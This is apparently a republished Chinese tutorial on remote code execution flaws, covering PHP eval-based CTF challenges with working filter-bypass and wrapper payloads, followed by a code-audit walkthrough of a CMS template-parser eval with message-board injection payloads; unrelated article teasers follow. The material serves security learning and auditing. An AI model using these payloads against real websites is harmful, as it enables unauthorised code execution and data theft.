解密RCE漏洞:原理剖析、复现与代码审计实战

news2024/9/27 7:21:17

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

  1. 概念

    1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
  2. 利用函数

    1. php
      1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
    2. python
      1. eval exec subprocess os.system commands
    3. java
      1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
  3. 复现

    1. 基本使用
      1. 源码

         <?php
        error_reporting(0);          //排除错误
        if(isset($_GET['c'])){       //get传参不为空,执行if语句
            $c = $_GET['c'];         //get传参,赋值给变量c
            if(!preg_match("/flag/i", $c)){   //过滤flag
                eval($c);            //执行c表达式
            }
        
        }else{
            highlight_file(__FILE__);
        }
        
        payload:
        ?c=system('tac fla*.php');
        ?c=echo shell_exec('tac fla*');
        ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        
    2. 参数逃逸
      1. 源码

        <?php
        error_reporting(0);
        if(isset($_GET['c'])){
            $c = $_GET['c'];
            if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
                eval($c);
            }
        
        }else{
            highlight_file(__FILE__);
        }
        ?>  
        payload:
        ?c=eval($_GET[1]);&1=phpinfo();
        
    3. 伪协议
      1. 源码同上

        payload:
        ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>
        
        payload2
        get:?c=include$_GET[a]?>&a=php://input
        post:<?php system('tac flag.php');?>
        
        payload3
        ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        

代码审计

  1. 靶场搭建
    1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    2. 下载靶场,在config.php文件中填入授权码,安装靶场
  2. 流程
    1. 导入文件,搜索常用的命令执行函数eval

    2. 看到eval的来源变量matches

    3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

    4. 全局搜索parserSiteLabel函数,看到parserCommom函数

    5. 全局搜索parserCommom函数,到达AboutController.php

      1. 名称与网站对应关系
    6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

    7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      1. 代码

         public function parserIfLabel($content)
            {
                $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
                $pattern2 = '/pboot:([0-9])+if/';
                if (preg_match_all($pattern, $content, $matches)) {
                    $count = count($matches[0]);
                    for ($i = 0; $i < $count; $i ++) {
                        $flag = '';
                        $out_html = '';
                        // 对于无参数函数不执行解析工作
                        if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
                            continue;
                        }
                        eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                        if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
                            switch ($flag) {
                                case 'if': // 条件为真
                                    if (isset($matches2[1])) {
                                        $out_html = $matches2[1];
                                    }
                                    break;
                                case 'else': // 条件为假
                                    if (isset($matches2[2])) {
                                        $out_html = $matches2[2];
                                    }
                                    break;
                            }
                        } elseif ($flag == 'if') {
                            $out_html = $matches[2][$i];
                        }
        
                        // 无限极嵌套解析
                        if (preg_match($pattern2, $out_html, $matches3)) {
                            $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
                            $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
                            $out_html = $this->parserIfLabel($out_html);
                        }
        
                        // 执行替换
                        $content = str_replace($matches[0][$i], $out_html, $content);
                    }
                }
        payload:
        留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
        
        payload2:
        留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        //记得要在后台把状态打开,不然无回显,头疼!!!!
        

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1981172.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

android13内核增加调试接口给上层使用

总纲 android13 rom 开发总纲说明 目录 1.前言 2.处理方法分析 3.代码参考 3.1方法1 3.2方法2 3.3方法3 3.4方法4 4.彩蛋 1.前言 有时候,我们在开机的过程中,adb服务还没有起来,系统奔溃了,不能正常开机,我们没法看到相关的logcat信息,导致我们不能很快的定…

内衣洗衣机哪家品牌好用?力荐五款爆款内衣洗衣机

近两年内衣洗衣机逐渐走入大众的视野&#xff0c;不少人说它可以释放双手&#xff0c;比自己手洗还干净。还具有除菌功能&#xff0c;能够减少衣物上我们看不到的细菌&#xff0c;但也有人说它是智商税&#xff0c;根本没有用&#xff0c;都是心理因素在作怪&#xff0c;在面对…

vue配置electron,使用electron-builder进行打包【完整步骤】

目 录 1. 已知&#xff1a;vue3项目已经创建好 一、配置Electron 1. 安装electron 2. 在根目录创建electron 文件夹&#xff0c;并新建main.js 和preload.js 3.在package.json 中配置添加以下代码&#xff1a; 4. 安装concurrently 5. 安装 nodemon 实现热更新 6…

Java同城达人交友系统源码

打造你的社交新领地&#xff01;同城达人交友系统源码全揭秘 &#x1f308; 开篇&#xff1a;遇见同城&#xff0c;遇见更好的你 在这个快节奏的城市生活中&#xff0c;你是否渴望遇见志同道合的朋友&#xff1f;是否想与身边的达人分享生活的点滴&#xff1f;现在&#xff0…

深入探究Java中的宏替换:从基础到应用的全面解析

个人名片 &#x1f393;作者简介&#xff1a;java领域优质创作者 &#x1f310;个人主页&#xff1a;码农阿豪 &#x1f4de;工作室&#xff1a;新空间代码工作室&#xff08;提供各种软件服务&#xff09; &#x1f48c;个人邮箱&#xff1a;[2435024119qq.com] &#x1f4f1…

html+css 实现hover镂空背景按钮

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽效果&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 文…

weblogic 连接gaussdb测试数据源是否联通

文章目录 1. gaussdb创建远程连接用户和数据库2. weblogic构建GaussDB源数据库3. 测试结果查询注意 weblogic中jar包已经放入lib目录中gaussdb已经创建可以连接登录的用户和数据库1. gaussdb创建远程连接用户和数据库 新建用户和数据库连接客户端Gauss=# create user lily pas…

【算法】装箱问题

一、引言 装箱问题算法、Bin-Packing算法是一种典型的优化问题&#xff0c;广泛应用于物流、资源分配、内存管理等领域。 二、算法原理 Bin-Packing问题可以描述为&#xff1a;给定一组大小不同的物品和一个容量有限的背包&#xff0c;如何将物品放入背包&#xff0c;使得背包内…

prompt提示词工程尝试

使用提示前 添加prompt后 提示词中的内容 # Rule&#xff1a; 数学大师## Profile - author: bennie - version: 1.0 - language: 中文 - description: 你是数学领域的专家&#xff0c;擅长进行数学领域内容的逐步分析和推导## Skills - 深入理解数据大小的比较 - ## Back…

ssm新闻发布系统-计算机毕业设计源码68754

摘要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对新闻发布等问题&#xff0c;对新闻发布进行研…

【竞技宝】奥运会:郑钦文夺冠破纪录

郑钦文在2024奥运会女子网球单打决赛中2比0击败了克罗地亚选手维基奇&#xff0c;为中国网球赢得了历史上首枚奥运会金牌&#xff0c;同时也成为了首位站上奥运会最高领奖台的亚洲运动员。其实郑钦文是顶着巨大压力参加奥运会的比赛&#xff0c;而且为此损失了很多钱&#xff0…

翻转二叉树 - 力扣(LeetCode)C语言

226. 翻转二叉树 - 力扣&#xff08;LeetCode&#xff09;&#xff08;点击前面链接即可查看题目&#xff09; 一、题目 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出…

springboot智能停车场管理系统-计算机毕业设计源码46885

目 录 摘要 1 绪论 1.1 选题背景与意义 1.2 开发现状 1.3论文结构与章节安排 2 智能停车场管理系统系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 法律可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统用…

springboot集成websocket实现聊天室(极简版)

文章目录 前情描述websocket优势效果展示spring-boot后端html前端代码资源地址结语 前情描述 最近想了解websocket的相关原理&#xff0c;于是写了一个极简版的程序&#xff0c;后端使用springboot集成websocket模块&#xff0c;前端手敲了一个html页面&#xff08;页面很丑很…

多屏显卡调试

本文依照2017年11月8日一般工作日志改写。 目录 一、显卡选用 二、安装过程 &#xff08;1&#xff09;操作系统&#xff1a; &#xff08;2&#xff09;开机安装驱动 &#xff08;3&#xff09;调整连接线缆 &#xff08;4&#xff09;显卡设置 这是一个LED大屏幕系统&…

秒懂C++之List

目录 前言 一.常用接口展示 二.模拟常用接口 1.1 准备阶段 1.2 push_back 尾插 1.3 insert 插入 1.4 头插 1.5 erase 删除 1.6 clear 清理 析构 1.7 拷贝构造 1.8 赋值拷贝 1.9 反向迭代器 1.10 ->运算符重载 三.全部代码 前言 List其实就是我们前面数据结构学…

AUTOSAR之AUTOSAR OS(上)

1、OSEK OS 1.1 OSEK OS介绍 AUTOSAR OS是基于 OSEK OS发展而来&#xff0c;向下兼容OSEK OS&#xff0c;所以了解AUTOSAR OS之前我们了解一下OSEK OS。 OSEK操作系统&#xff08;OS&#xff09;是一个为分布式嵌入式系统所定义的单核操作系统。为适应汽车电子可靠性、实时性、…

【视觉SLAM】 十四讲ch7习题

简介 本文主要内容是《视觉SLAM十四讲》&#xff08;第二版&#xff09;第7章的习题解答&#xff0c;并介绍了在解答习题中的一下思考和总结的经验。本文代码部分参考了&#xff1a;HW-of-SLAMBOOK2 1、除了本书介绍的ORB特征点&#xff0c;你还能找到哪些特征点&#xff1f;…

Java聚合快递对接云洋系统小程序源码

&#x1f680;【物流新纪元】聚合快递如何无缝对接云洋系统&#xff0c;效率飙升秘籍大公开&#xff01;✨ &#x1f50d; 开篇揭秘&#xff1a;聚合快递的魅力所在 Hey小伙伴们&#xff0c;你是否还在为多家快递公司账号管理繁琐、订单处理效率低下而头疼&#xff1f;&#…

做不好PPT的原因

新手制作PPT长犯的10个错误 1.Word搬家 为了节约时间&#xff0c;直接把Word素材复制粘贴到PPT上&#xff0c;没有提炼 2.堆积图表 每个页面上堆积了大量的图表&#xff0c;却没有说明数据反映了什么趋势 3.图表业余 想用图表达自己的逻辑&#xff0c;但没有专业的模板&a…